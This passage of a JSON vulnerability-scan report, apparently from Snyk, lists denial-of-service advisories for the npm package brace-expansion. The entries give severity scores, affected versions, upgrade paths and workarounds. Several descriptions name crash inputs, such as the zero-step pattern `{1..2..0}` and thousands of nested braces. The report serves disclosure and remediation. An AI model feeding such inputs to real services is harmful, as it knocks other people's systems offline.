"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
